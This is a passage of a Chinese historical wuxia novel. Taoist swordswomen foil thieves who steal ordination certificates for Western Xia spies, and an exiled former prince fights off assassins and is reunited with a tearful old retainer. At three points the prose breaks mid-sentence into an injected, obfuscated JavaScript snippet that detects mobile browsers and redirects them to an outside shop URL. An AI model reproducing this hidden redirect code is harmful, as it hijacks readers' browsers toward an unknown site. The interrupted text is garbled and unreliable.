她顿了顿，又道：“前厅人多眼杂，掌柜和小二应都是本地人，嘴上油滑些，瞧着倒是没有什么可疑的。只是今日带咱们来的那支商队，有些蹊跷，咱们得留神些。” 吴山娘缓缓睁开眼，目光在她脸上停了停，半晌才“嗯”了一声：“辛苦你了，咱们夜里都警醒些。” “嗯，应当的。”姜南绍垂下眼，语气平平的。 吴山娘又合上眼，似是乏了，摆了摆手：“都早些歇着罢。今日赶路也累了。” 姜南绍点了点头，站起身来，解了外衫，搭在衣箱上。 周至语也起了身，两人谁也不理谁，屋里只剩窸窸窣窣的声响。 依照惯例是前半夜由姜南绍值守，后半夜由周至语来轮换值守。 姜南绍挨着周至语身侧躺下，将佩剑搁在枕边，只盖了件厚衣，半点睡意也无。眼珠子骨碌碌转着，脑子里翻来覆去尽是先前那一连串事，耳朵却支棱着，不敢大意，捕捉着屋外的动静。 也不知过了多久，楼下堂里那喧腾的喝酒划拳声渐渐稀了，末了静得只剩风刮得窗纸簌簌作响的声音。 她下意识地摸了摸怀里那张字条。 此刻轮值守夜，正好去瞧瞧这纸条上写的什么。她思及此，便轻手轻脚起身，摸黑往楼下走去。” 夜深了，正堂里连个人影也无，店小二趴在柜台后头打盹，睡得跟死猪似的，满屋子只听得他的鼾声。 她出门左转，往茅厕去。一进门便摸出那张字条，借着那茅厕缝里透进来的一点月光，展开来瞧。上头只一行字：到秦州后，赁匠巷的宅子，方便寻你。 匠巷？那地方她虽没去过，她虽没去过，但也曾打探过秦州的信息，听人提起过——秦州城东一条窄巷子，住的尽是些木匠、泥瓦匠、箍桶匠之类的手艺人，三教九流，鱼龙混杂。 好处是闹中取静，人来人往也不打眼，赁间宅子藏身，倒比住客栈妥帖得多，反正她原本也不打算住客栈的，赁间屋子方行事方便些。 看罢，她抬手把字条撕得粉碎，随手撂进茅厕秽物里头，半点痕迹也没留下。 上楼时，她脚步放得极轻，几乎听不见声响。 只刚上得二楼，便见两个黑影鬼鬼祟祟立在她们房门前，交头接耳，不知嘀咕些甚么。她脚下略顿了顿，悄没声儿地退后几步，闪到暗处。 只见那两人从怀里摸出一根铜管子，捅破窗纸，往里头吹气。 姜南绍也不拦，只冷眼瞧着，看他们搞甚么鬼。 过了片刻，两个贼人估摸着房里人已被迷倒，便轻手轻脚掏出家伙来想撬门。谁知手才搭上门，那门竟自己开了——原来压根儿就没上锁。 那门“吱呀”一声，倒把那两人唬了一激灵。探了半个头进去，见里头一片死寂，没惊动人，一颗心这才放下。 两人低低争执了几句，看着像是商量谁先进去。其中一人争执不过，便不情不愿地探进头去，见果然没甚异样，回头对另一个点了点头。二人便前脚后脚闪身而入，随后悄悄把门掩上。 姜南绍也摸到门前，推开一道小缝往里瞧。 昏暗中，依稀可见那两个贼人正在翻她们的行李，却似一无所获。其中一个又拿起一件衣裳，上上下下摸索起来。 不多时，那两人像寻着了甚么，一个举起手朝另一个招了招。 姜南绍正要进去拿人，猛听得“哎哟”一声痛叫——好似脑门上挨了甚么硬物，一人应声倒地。另一个见势头不好，拔腿想溜，不想脚下被甚么一绊，“噗通”一声，结结实实摔了个狗啃泥。 姜南绍晓得用不着自己动手了，便大模大样推门进去。 她还有闲工夫回身把门闩好，又摸出火石，不紧不慢将桌上油灯点着。 屋里霎时亮堂起来。只见吴山娘端坐床边，脚下踩着一个贼人，那贼人趴在地上，大气儿也不敢出；另一个被周至语反拧着胳膊，结结实实按在地上，挣也挣不脱。 姜南绍目光往地上一溜，吴山娘脚边那贼人身侧，还散落着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527880|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一张度牒。她心里顿时明白——这伙贼人偷摸进来，原是冲着他们的度牒来的。 姜南绍端着油灯走过去，弯腰拾起度牒，拿在手里掂了掂，顺手敲了敲那贼人的脑门子，冷声道：“抬起头来。” 那贼人战战兢兢仰起脸。姜南绍借着灯光一瞧，倒有几分眼熟，仔细端详，可不就是白日里那商队中的黑须大汉。 吴山娘抬脚踢了那贼人一下，语气淡淡的，吩咐两个徒弟：“全绑了。” 那贼人登时哭丧着脸，连声讨饶：“女冠饶命！咱们不是歹人，只是想借度牒使使！” 姜南绍心里早就想明白了这事，秦州地处西北边陲，既是军事重镇，又是往来要道，官兵盘查得紧。没有度牒，休想自由进出。这帮冒充商队的吐蕃人，偷度牒定是为了行事便宜，而且瞧着这架势，要的只怕不止一份。只是他们究竟打的是甚么主意，还得细细审一审才知道。 姜南绍又踢了那贼人一脚，厉声道：“少废话！赶紧说实话，你们偷度牒做甚么，究竟打的甚么主意？” 那贼人苦着脸哀嚎：“女冠行行好，怎的只盯着小人一个踢打？” 周至语也已将另一个贼人绑好，喝问道：“你来说！” 那人却硬气得很，只闭着嘴，一声不吭。姜南绍把油灯举高照了照——认出来了，正是那商队里领头的壮汉。 “说吧，偷度牒混进秦州，究竟想干甚么？”姜南绍语气平平的，却透着一股不容人糊弄的劲儿。 顿了顿，她又慢悠悠开腔：“你们要的怕不只是混进秦州这么简单。进秦州的路子多得很，你们真正想要的，是度牒上那个身份，我说的可对？” 油灯下，那领头贼人的脸刷地变了颜色，却依旧死咬着嘴唇，一声不吭。 姜南绍笑了笑：“你们不说也不打紧。等天亮了，问问店家这左近可有里正，把你们俩捆到县廨去，交给上官慢慢审，总能审出个子丑寅卯来。” 那黑须贼人先就沉不住气了，扯着嗓子嚷起来：“阿哥！我早说过，这事原不该咱们来。他们要使度牒，叫他们自己来偷！凭什么听他们使唤？到头来教咱们做替死鬼！” “闭了你那鸟嘴！”领头贼人又气又急，厉声骂道，“夯货！” 气急之下，又用吐蕃语骂骂咧咧，也不知在骂些什么。 姜南绍一记耳光扇过去，正正拍在那人脸上：“住嘴！” 转过脸看向那黑须贼人：“你接着说，谁指使你们来的？” “我……我说了，女冠便能放了我们吗？”那黑须贼人迟疑着问道。 “那得看你说的是不是真话。若是真话，便饶你们这一遭。”吴山娘开了口，声音冷冷的，带着一股不容人不服的威严。 那贼人见做主的吴山娘神情严厉，料想是领头的主儿，便咬了咬牙，把心一横，和盘托出：“是西夏人！他们的探子要度牒，好在秦州城里走动！” “混账东西！”领头贼人勃然大怒，抬脚便踹过去，“蠢货！” “凭什么让咱们来送死？他们压根没把咱们当人！我不服！”那贼人也红了眼，嘶吼着反驳。 “住嘴！蠢货！你说了他们也不会放了咱们的！”领头贼人扯着嗓子高声呼喝，声音猛地拔高了几度。 姜南绍心头一凛——不好，他在给同伙报信！ 念头刚转，房门便被人猛地撞开，呼啦啦涌进七八个手持大刀的壮汉，个个杀气腾腾。与此同时，屋里骤然升起股股青烟，刺得人眼睛生疼，呛得喉头发涩。 吴山娘知这青烟不似平常毒烟，大喝一声：“莫恋战，凝神闭气，出去！” 8. 西行 周至语和姜南绍晓得这毒烟歹毒，也顾不得去缠斗，慌忙运气屏息，随吴山娘飞身从窗口跃出。 只见客舍院里不多时便聚满了慌里慌张的人影，夜里黑漆漆的，一时也分不清哪个是敌哪个是友。 周至语和姜南绍提着剑要追，被吴山娘一把拦住：“穷寇莫追。况且这黑灯瞎火的，乱成一团，也不好拿人。罢了，别为这几个毛贼误了正事，不值当的。” 院子里乱得跟滚锅似的。马嘶的、喊叫的、人嚷马鸣，直闹腾到后半夜，方才渐渐停歇。待动静渐渐歇了，客舍里静得碜人——像是凭空少了一大半人。 那商队的人早跑得没了影。剩下客人里头，有嚷着丢了度牒的，只当是遇上了寻常盗贼，虽则气恼却也无可如何，只得自认晦气。 姜南绍心里却明白，这事断不简单。几路人马盘踞在秦州，如今竟要偷度牒，且要的数量还不少，不知在图谋甚么，秦州的局面怕是早已危如累卵。 看来此番往秦州去，得赶紧把手头的正事办了——若等乱子起来，只怕要连累她们谋划已久的那桩事。 几人在客店又盘桓了两日。待封山解禁的消息一到，便一刻不敢耽搁，匆匆收拾起程，往秦州赶去。 临近秦州的官道上，浩浩荡荡地来了一队人马，旗幡在料峭春风里被吹得猎猎地响。 一面朱红牙旗叫风扯得笔直，上头绣着“秦州沿边都巡检使”几个大字，在灰蒙蒙的天色里格外显眼。 几名斥候骑马奔来，到了马车跟前翻身下马，脚步稳稳当当。那马喘着粗气，鼻子里喷出一团团白雾。 其中一人快步走到汪平程车前，单膝跪地，抱拳道：“禀汪枢密，北面二十里到此，沿途不见蕃骑踪影，沟谷之间也无伏兵的痕迹。岔路口已派人持白旗把守，大军可暂且歇息。” 汪平程掀开车帘探出头来，目光在他那沾满尘土的衣甲上停了停，吩咐道：“既如此，便传令下去，暂歇半个时辰，喂马造饭。” 不多时，队伍便缓缓停了下来。 军士们将马匹牵到河边饮水，几个老卒从驮马上卸下铁锅，就地垒灶生火。炊烟袅袅升起，混着干柴的焦香。 他们这一路从京城而来，只因谢元佑身上带伤，行得极慢，费了好些时日才行到秦州的官道上。 一名医官抱着医囊子，匆匆钻进后面那辆马车里。 车里便传出一个老妇人温声细语的劝慰：“子韧，再叫医官瞧瞧罢，总教人安心些。” 话音才落，那医官便灰头土脸地退了出来。 紧接着，车里响起个男子低沉而不耐烦的声音：“魏嵚。” 侍立在不远处的魏嵚心头一紧，赶忙趋步至车前。只听车内那年青男子道：“成日闷在这马车里，你去把青风牵来。” 青风是谢元佑的坐骑。 医官尚未走远，听了这话急忙上前拦住：“谢大人使不得！伤口才刚结了疤，若骑马颠簸，只怕又要崩裂……” 马车里的老妇人是季傅姆，一听医官的话，声音也急了，隔着帘子传出来：“子韧！从京里动身时，你母亲是怎么叮嘱你的？你都忘了不成？伤刚结了疤，哪禁得住这般折腾？” 魏嵚心里明镜儿似的——这位小祖宗一旦拿定了主意，就是九头牛也拉不回来。忙朝旁边一个侍从使了个眼色。那人会意，悄没声儿地退开，一溜烟去了。 魏嵚也不敢耽搁，应了一声，便去牵青风。 不多时，汪平程得了信儿，从马车上下来，沉着脸走过来。 他先掀开车帘子，冲车里的季婆婆微微点了点头：“季傅姆。” 随即转过脸来对着车里的年轻男子，也没了耐性，劈头盖脸就是一顿数落：“谢元佑！我的活祖宗！就为你这一身的伤，行程已经耽搁了多少？你再胡闹，趁早自个儿滚回去领死罢！” 谢元佑也不吭声，一把扯开车帘子，从里头蹿了出来。他夺过魏嵚手里牵着的缰绳，翻身便上了马，把季婆婆急切的呼唤全扔在了身后。 他双腿一夹马肚子，喝了声“驾！”，那马便像离弦的箭一般冲了出去。 魏嵚抬眼一瞧，心里叫苦不迭，急忙也翻身上马，紧追上去。 两人一前一后的身影，很快没入官道尽头扬起的滚滚黄尘之中。 汪平程气得手指发颤，连声喝道：“快！快给我追回来！” 几名侍从慌忙策马去追，他盯着那绝尘而去的背影，犹自咬牙切齿：“早知如此，离京前就该让行刑官下手再重些！最好连嗓子也一并毒哑了，省得伤好一点就变着法儿给我添乱！” 汪平程平素里是个极镇定的，唯独碰上这位小祖宗，便常气得眼冒金星、胸口发闷。 这一路上，那小祖宗找了多少事，简直气得老先生头发都白了多少根。 走马承受公事吕庆深见他脸色发青，喘气不匀，心下也觉不忍，赶忙下车来劝：“汪枢密千万保重身子。卫……咳，谢参军性子是古怪了些，眼下且先由着他些。离秦州已不远了，待到了地界，再从长计议不迟。” 汪平程深吸几口气，勉强缓过劲来，却仍是余怒未消，摆摆手道：“若非看着他从小长大……我真想撒手不管，任由他自生自灭去！”说着说着，眼角竟隐隐泛红，声音也哽了一下。 他眼前恍惚闪过谢元佑旧日的模样——那般明亮张扬，眉目疏朗，顾盼间尽是少年意气。再看如今……心头便沉甸甸地发酸。 吕庆深也不由暗叹。此子前十几年过得何等顺遂风光，一朝骤变，天地翻覆，换作是谁，怕都受不住。 “若不是娘娘临走前将他托付与我……”汪平程偏过脸去，声音低了下去，“是死是活，我又何必操这份闲心。” 车内的季婆婆听他提起皇后，也忍不住抬手拭泪。 吕庆深哪里不知他说的是气话。便是没有皇后娘娘的嘱托，单凭汪平程与谢元佑这多年的师徒情分，他又岂会真个撒手不管？如今这份心，更多是痛其不争、哀其不幸罢了。 “都过去这些年了，”汪平程摇着头，喃喃道，“他怎么就……过不去了呢。” 两人正感慨着，远远便见几个侍从骑马折了回来。 “人呢？怎么就你们几个？” 侍从翻身下马，抱拳道：“汪枢密，魏大人让小的先回来禀报一声。谢大人骑得远了，说咱们不必跟着。魏大人自会护好谢大人，随时差人报信回来。还说咱们该何时动身便何时动身，不必管他们。” 汪平程一股火气又蹿上心头，张口要骂，话到喉头却骤然哽住了。 他想起六年前那场翻天覆地的变故之后，谢元佑因郁怒难舒，竟患上了罕见的奔豚气疾。每每发作，腹痛如绞，似有活物在腹中冲撞奔突，心悸气短，几欲窒息。太医曾叹，此病根在情志，忧愤郁结，不得疏解。 汪平程眼前闪过他病发时冷汗涔涔、唇色青白的模样，那已到嘴边的斥责，终究化成一声沉沉的叹息，咽了回去。 “哎——罢了，由他去吧！”汪平程跺了跺脚，“他不愿同路便罢！有魏嵚跟着照应，想来也出不了什么大事。” 吕庆深在一旁瞧着，也不好再劝甚么。这师徒两个的事，外人插不上嘴。 汪平程回过身来，见车帘微微动着，季傅姆正探着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527881|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头忧心忡忡地张望，便缓了脸色宽慰道：“傅姆不必过虑，有魏嵚跟着，出不了岔子。” 季傅姆摇了摇头，叹口气，放下了车帘子。 经了这场变故，一行人也没了心思吃饭。歇了一歇，大队人马才又重新上路。 谢元佑一口气跑出几十里地，只觉腔子里那股横冲直撞的闷气散了大半，这才勒住缰绳，把马停下。 那匹唤作“青风”的白马立在原地，呼哧呼哧喘着粗气，鼻子里喷出一团一团的白雾，显是累得不轻。 方才马背上疾风刮在脸上，跟刀子似的，早冻得没了知觉。这会儿一停下，方才觉出脸颊上刺刺地疼，倒叫他觉着一股子痛快——近乎自虐的那种痛快。 他翻身下马，拍了拍“青风”汗湿的脖颈，由着它去一旁歇脚吃草。自己往后一倒，直挺挺躺在那冰冷坚硬的地上，闭了眼，一动不动。活像没了气息的死人似的。 魏嵚跟了他这些年，深知他的脾性，此刻只远远站着，不去扰他。只拿眼四下里巡睃，不敢有半分松懈。 天色一分分暗下来。谢元佑终于动了动，侧过身去，望着天边那点子快烧尽的残阳。 看得眼睛发涩。恍恍惚惚的，不知多少个这样的黄昏从心里头浮起来——那些年，他向来是浑身使不完的劲儿，成日价策马狂奔，只觉得前头路还长着呢，他哪儿顾得上停下来好好看一回落日？ 想起来的也是这样的光，金红金红的，暖洋洋地铺在身上，就在他飞扬的发梢上、肩头上。 他骑着最心爱的那匹马，后头跟着一群年纪相仿的伴当，笑啊闹啊，马蹄声洒了一路。 耳畔的马蹄声、欢笑声越来越响，快要刺破耳膜了。他用力甩了甩头，那声音不但没散，反倒更乱、更吵了。 “卫——”魏嵚疾步抢上前来，刚吐出一个字便猛地打住。他总改不了这口，眼前这位早不是卫王了，只一个芝麻大的参军罢了。 他像被烫了舌头似的，急忙改口：“大、大人，像是有一队人马朝这边来了，咱们得先避一避。” 原来不是耳虚，果真有动静。 两人牵了马，急闪身躲进道旁密林里头。不多时，只听得官道上马蹄声疾，一队人马飞也似地奔来。都穿着青布劲装，头上兜帽捂得严严实实，骑得忒快，一眨眼的工夫就窜过去了。 待那蹄声渐渐远了，谢元佑牵着“青风”便要出林子。魏嵚忽地竖起耳朵——那马蹄声竟去而复返，且越来越近。谢元佑眉头一皱，脸上早浮起不耐烦的意思，分明是不肯再躲了。魏嵚急得什么似的，伸手去扯他袖子，却扯了个空。 只见那伙青衣人已在方才歇脚处不远勒住了马。领头的那一个，兜帽底下露出两只眼睛，冷冷地往地上扫了一遍，道：“搜。马蹄印到这儿就断了。” 眼瞅着对方足有二十来号人，魏嵚心里不由得一紧。 说时迟，那时快，谢元佑的剑早已出了鞘，人已大摇大摆地走了出去。 他行到官道上，两指抵在唇边，吹出一声短促的呼哨。林间立时响起急促的蹄声，那白马“青风”如一道白光疾冲而出。谢元佑纵身跃上马背，一扯缰绳，那马扬蹄原地打了个旋儿。 他坐在马上，目光懒懒地扫过那群青衣人，像是在看他们，又像什么都没入眼。 几个青衣人面面相觑，低声问领头的：“是他不是？” 那领头的盯着谢元佑，眉头拧得死紧：“这般张狂的作派，除了那位昔日的天家贵胄，还能有谁？” 众人听了，猛然省悟。霎时间马蹄踏地声、呼喝喊叫声轰然炸开，喊杀声震天价响，直扑向二人。 9. 旧人 谢元佑偏过头，看了眼身后跟上的魏嵚，嘴角忽地一勾，露出个笑来。 他眼里布满血丝，那笑意竟透出几分嗜血的兴奋：“魏嵚，好久没痛痛快快杀一场了。” 魏嵚亦觉胸中血气上涌，抱拳沉声应道：“大人当心！” 话音未落，两人同时一夹马腹，齐喝一声“驾——”。马蹄还没撒开，手中的剑已挥出—— 寒光乍现，如一道闪电劈开暮色。 谢元佑杀得性起，剑光起落间，迎面便有两三人中剑坠马。对方一时措手不及，却也不是善茬，很快稳住阵脚，将二人团团围住。 他旧伤本就未愈，这一番剧烈动作，只觉伤口处火辣辣地疼，像要裂开一般。他咬着牙，手上剑招却愈发狠厉，全是不顾性命的打法。 见了血，他眉宇间那股戾气愈重，剑势愈发狠厉狂乱，每一招都带着搏命的凶悍。围攻之人纵是身手不弱，见他这般不要命的打法，心里也犯怵，出手时不由得便多了几分犹豫。 只见谢元佑一剑刺穿一刺客胸膛，还嫌不够解恨，手腕一拧，剑身在血肉里头狠狠绞了一转，方才猛力拔出。 长剑离体，一声凄厉的惨叫划破暮色。 谢元佑脸上溅了几点温热的血，他抬手胡乱一抹，唇角竟慢慢勾起一丝笑意来。 那双染了血的眼睛在暮色中亮得骇人，四下里扫视众人时，竟如阎罗现世一般，瞧得周遭之人脊梁骨直冒凉气，一时竟没人敢上前。 领头那人猛醒过来，厉声大喝：“发什么呆！放箭！” 魏嵚心头一沉，急喝道：“大人，不可恋战！走！” 谢元佑早在厮杀之初便已将周遭地势看在眼里。这官道本就狭窄，二十来号人马挤作一团，反倒施展不开。 他与魏嵚只两人两骑，腾挪闪转更来得灵便。若对方真要放箭，这般拥挤处，反倒容易寻着对方破绽。 兵法云：避其易，击其厄。眼下近身缠斗虽是险招，却是打乱对方阵脚的顶好法子。 一听“放箭”二字，他毫不迟疑。双腿一夹马腹，“青风”朝前疾冲两步，他握紧缰绳，朝魏嵚喝道：“跟上！”话音未落，双膝猛然收力，勒缰急喝：“青风，起——！” 那“青风”长声嘶鸣，前蹄陡然人立而起，如一座山骤然拔地！前方数骑不及反应，被这突如其来的冲势惊得阵脚大乱，箭尚未离弦便已歪斜落地。 魏嵚趁势打马冲入，剑光白亮，所过之处血花四溅。这一冲一杀，对方霎时便倒下大半。 谢元佑堪堪勒住马，朝魏嵚使了个眼色。魏嵚会意，大喝一声，连人带马横挡在前，截住残余几人的围攻。谢元佑则调转马头，朝着那领头男子，不紧不慢地逼了过去。 那刺客头领猛勒缰绳向后急退，堪堪避过一剑。然谢元佑剑招毫不停歇，招招狠辣，直取要害，显是全然无意活擒，对幕后主使亦无半分兴趣，只一心夺他性命。 刺客头领渐觉力乏，心知不可久战，眼中凶光一闪，佯作格挡，借势向右急闪，左手探入袖中——袖箭机关将发未发之际，谢元佑已趁他分神，剑锋直刺其心口！ 恰在此时，远处破空之声疾至。 一支羽箭后发先至，“噗”地正中头领眉心。与此同时，谢元佑的剑刃也已贯穿其胸膛。 那头领双目圆睁，脸上凝着惊骇与不甘。 待长剑抽出，他便从马背上直挺挺栽了下去，再无半点声息。 余下几名刺客见首领已死，登时吓得魂飞魄散，拨转马头便要逃窜。 谁知官道两侧蹄声如雷，不知何时涌出的官军铁骑已围得铁桶一般，当真插翅也难飞了。 只见一队人马自官道尽头飞驰而来，为首是个年轻军官，手中长弓尚未收起——方才那支夺命的箭，显是出自他手。 旁侧一名兵士掌着面青色三角旗，上头绣着“三阳寨左都”四个白字。原来正是三阳寨巡防的官军。 几名兵士已将残余刺客捆缚妥当，推搡至那年轻军官马前：“韩都头，贼人都在这儿了。” 韩都头微微颔首，转头望向谢元佑二人。 这一望之下不得了，他整个人如遭雷击，瞳孔骤缩，脸上血色褪得干干净净。竟也顾不得什么体统，手忙脚乱翻下马来，慌乱间险些被缰绳绊个跟头。 身后那些骑兵何曾见过自家都头这般失态，不由得面面相觑。 韩今霖几乎是踉跄着扑跪于地，嘴唇抖个不住，颤声挤出半个字：“殿……” 那一声尚未落全，谢元佑眼底便掠过一丝冷厉。 他手中长剑尚未入鞘，剑尖犹自滴着血，缓缓垂下，指向韩都头肩头，堪堪停在寸许之外。 他开口，声音不大，却带着一股不容置疑的威压：“大人认错人了。” 近旁士兵大惊，便要拔剑，却被韩今霖喝住：“都别动！” 谢元佑收剑入鞘，淡淡道：“此地刺客余党未清，都头既巡防至此，后面的事便交与你了。” 旁边一个兵士见他态度倨傲，忍不住粗声嚷道：“好没道理！咱都头救了你们，连个谢字也无，竟这般无礼！” “就是，一并抓了！”众官兵愤愤不平，纷纷鼓噪。 谢元佑坐在马上，低头四下一扫，冷冷一笑：“便是没你们，小爷也收拾得了这帮废物。” 韩都头脸色铁青，猛地回头厉声喝止：“住口！都退下！周副都头，你带人将这些刺客押往前方等我，此处不必留人。” 众人噤若寒蝉。周副都头领命抱拳：“是，都头小心！” 待左右走得干干净净，韩都头才缓缓抬起头，对上那双曾经熟悉的眼睛。 那眼里早已没了当年温润明亮的光，只剩下深不见底的寒潭，仿佛多看一眼便要冻僵。 他喉结滚动，硬生生将后半截话咽了回去，额头重重叩在地上：“公子！” 他抱拳，声音微微发哑：“方才见那刺客凶悍，一时情急放箭，险些误伤了公子。” 谢元佑眯眼打量他片刻，眼圈几不可察地微微一红，神色却仍是冷的：“都头起来罢，岂有将军相拜之理。” 官道上马蹄扬起的尘土尚未落定。韩今霖跪在黄土里，忽然膝行向前几步。 魏嵚闪身上前阻拦：“都头，不可如此。” 韩今霖却顾不得这许多，一把推开他，径直扑上前抱住谢元佑的一只腿，压抑多年的哭声终于溃堤：“公子！我是长阳啊……韩今霖！您怎么……怎么能不认我了！” 谢元佑听他这番话，不由得咬紧了牙，眼圈慢慢泛红。下颌绷得极紧，喉结上下滚动，仿佛有什么东西堵在胸口，吐不出也咽不下。 半晌，他才从牙缝里挤出声音，嘶哑得厉害：“起来。” 韩今霖仍跪在尘土里仰头看他，脸上泪痕混着灰土，狼狈不堪。 韩今霖不肯起身，只将额头抵在谢元佑腿上，肩膀一耸一耸地抽噎，半晌才哑着嗓子执拗道：“公子不认我，我便跪死在这里。” “我叫你起来！”谢元佑陡然抬高声音，带着一股压不住的烦躁，可那尾音却有些抖。 见他还是不动，抬脚便朝他身上踹了过去，脸上满是嫌弃：“韩今霖，这么些年，你可真出息了，我叫不动你了是不是？” 这一脚踢得不轻，韩今霖在土里打了个滚，疼得龇牙咧嘴，一张脸哭得跟花猫似的。 他抹了把泪，却又笑了：“公子，你终于肯认我了。” 韩今霖原以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527882|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为今生再难与公子重逢，谁料竟有今日。 他也顾不得这般失态，抽噎道：“公子……还能见到您……真是……太好了。我、我以为……这辈子再也……” 泪眼模糊中，他望向眼前之人。 那张脸早已褪尽了少年时的青涩，轮廓硬朗分明，下颌如刀削般利落。昔日那双明亮飞扬的眼眸，如今却沉在一层化不开的阴翳之中，只在方才某一瞬，似有极浅的水光掠过，快得教人抓不住。 谢元佑喉结重重一滚，猛地别过脸去，声音从牙缝里挤出来：“滚起来。这副样子，丢人现眼。” 风穿官道，卷起细碎沙尘。远处三阳寨的兵士们牵着马，押着俘虏，一个个眼观鼻、鼻观心，不敢往这边多瞧半眼。 韩今霖拿袖子胡乱抹了把脸，站起身来，便欲伸手再去抱谢元佑的双腿。 一柄长剑横了过来。魏嵚满眼警惕，厉声喝道：“都头，不可！” 韩今霖动作一僵，盯着那柄横在身前的剑，心头那股好不容易压下去的酸涩猛然又翻涌上来。 他鼻尖一酸，声音里竟带了连自己都未察觉的委屈哭腔：“公子……身边有了新人，便疑长阳会害您么？” 是了，他是在嫉妒。 从前那个位置——离殿下最近、最得信任的位置，站了整整十年的人，是他韩今霖。从五岁稚童到十五岁少年，他几乎是长在殿下身边的。而今，他也成了被剑锋所指的“外人”了。 一思及此，便觉有把钝刀子，一层一层慢慢剐着他的心。酸楚浸透了四肢百骸，抽走了他仅剩的气力。 当年被罚离京、遣来秦州戍边时，他曾抱着一线微茫的盼头：若立下军功，兴许还能回到殿下身边。 他就是靠着这点念想，一年一年苦熬下来。如今方真切想到，谁又当真离不得谁呢？殿下身边终归会有新侍卫、新亲近之人，而那离得最近的位置，自己却是再也回不去了。 这般一想，心头那股气倏地便泄了。他不自禁退后两步，垂下眼去。 魏嵚瞥见韩今霖面上骤然灰败，心中闪过一丝犹疑，不由得望向谢元佑。 谢元佑面上虽无波澜，魏嵚却眼尖，瞧见他握着缰绳的手正缓缓收紧，指节捏得发白——这分明是极力忍耐之态。 魏嵚心知不妙，若再不走，只怕谢元佑要犯那旧疾。 不料那韩今霖生性豁达，转念一想：公子既被贬往秦州，日后相见岂不便当得很？ 这般想来，竟又雀跃起来：“公子，你日后便在秦州了么？居何职？我休沐时便来寻你，可好？” 魏嵚越瞧谢元佑的面色愈加苍白，心知再耽搁不得，压低声音，在他耳边提醒：“大人，该走了。” 谢元佑反应略迟，但还是点了头。他始终没再看韩今霖一眼，僵着身子将马转了个方向。 魏嵚心下不忍，转头向韩今霖抱拳道：“韩都头，今日我与大人尚有要事，先行一步。大人在秦州任司法参军，你若得空，便来与他说说话。” “我与大人。”他只顾喃喃念着这几个字，心思都歪了。 韩今霖品着这话，心头如被钝器重擂一记，闷得透不过气来。他竟忘了上前阻拦，也未察觉谢元佑的异样。 本有千言万语堵在喉头——想问这些年过得如何，想说自己也从未有一日忘怀——可话到嘴边，竟连一个字也吐不出了。 他嘴唇颤了颤，终究没能开口，只眼睁睁望着那两骑渐行渐远。待那身影快要没入暮色尽头，他才如梦初醒，用尽气力朝远处大喊： “公子——！长阳休沐时便来寻你！” 话音落下，泪水滚了满脸，淌进嘴角，落入颈窝。他下意识舔了舔唇边那咸涩的水渍——真咸啊。 10. 蛰痛 韩今霖的呼唤声飘得极远，零碎地消散在风里。 马背上的谢元佑愈加恍惚，胸口那闷痛仿佛直冲到天灵盖，眼前一阵阵发黑。 他死死攥着缰绳，指节泛白，身子却止不住地发抖。 魏嵚策马跟在身侧，目光始终锁在他身上，瞧他支撑不住，心头一紧，忙伸手虚虚扶住他手臂，低声唤道：“大人，可还能走？” 谢元佑没应，只觉喉头涌上一股腥甜，被他硬生生咽了回去。 他闭了闭眼，再睁开时，眸子里布满血丝，衬着那张惨白的面孔，格外渗人。 “大人，前方便是三阳寨驿站，不如我们在此先歇一宿，明日再赶路。”魏嵚试探着道，语气里带着小心翼翼的恳求。 他似是力气将尽，极轻极慢地点了点头。 约莫行了半个时辰，两人终于到了三阳寨驿站。 魏嵚翻身下马，抢先几步推开驿站的木门，回身来扶谢元佑下马。 谢元佑没理会他伸过来的手，强撑着下了马，扶着门框跨过门槛，脚步虚浮得厉害，落地时一个踉跄，险些栽倒。 驿卒很快收拾出一间屋子。魏嵚又要去扶，却被谢元佑轻轻推了一下，那力气极小。谢元佑哑声道：“别跟来。” 魏嵚自是不敢跟进去。他跟了谢元佑五年，知道犯旧疾时他不喜旁人在侧，故而从未窥见过他病中狼狈的模样。 魏嵚小心地看着他的脸色，低声问：“大人，我怀中有药丸，要不要先服一丸？” 谢元佑摇了摇头，哑声道：“不必。你出去，让我一个人待会儿。若没叫你，不得进来。” 魏嵚应了，又让驿卒端了碗热茶放在矮几上，忧心忡忡地出去，将门带上。 谢元佑听见关门声，终于卸了力，栽倒在床上。他将头顶抵在床头，用力压着，额上青筋暴起，牙关紧咬，喉间发出粗重而压抑的喘息。 矮几上搁着一盏油灯，火苗子一跳一跳的。谢元佑盯着那光，一时竟分不清是梦还是真。 恍惚里，他瞧见了五岁的阿濡。那丫头生得白白胖胖，一张小脸时常红扑扑的，正拍着他的脸唤他：“元佑哥哥，快醒醒，王爷给你寻的小跟班来啦！” 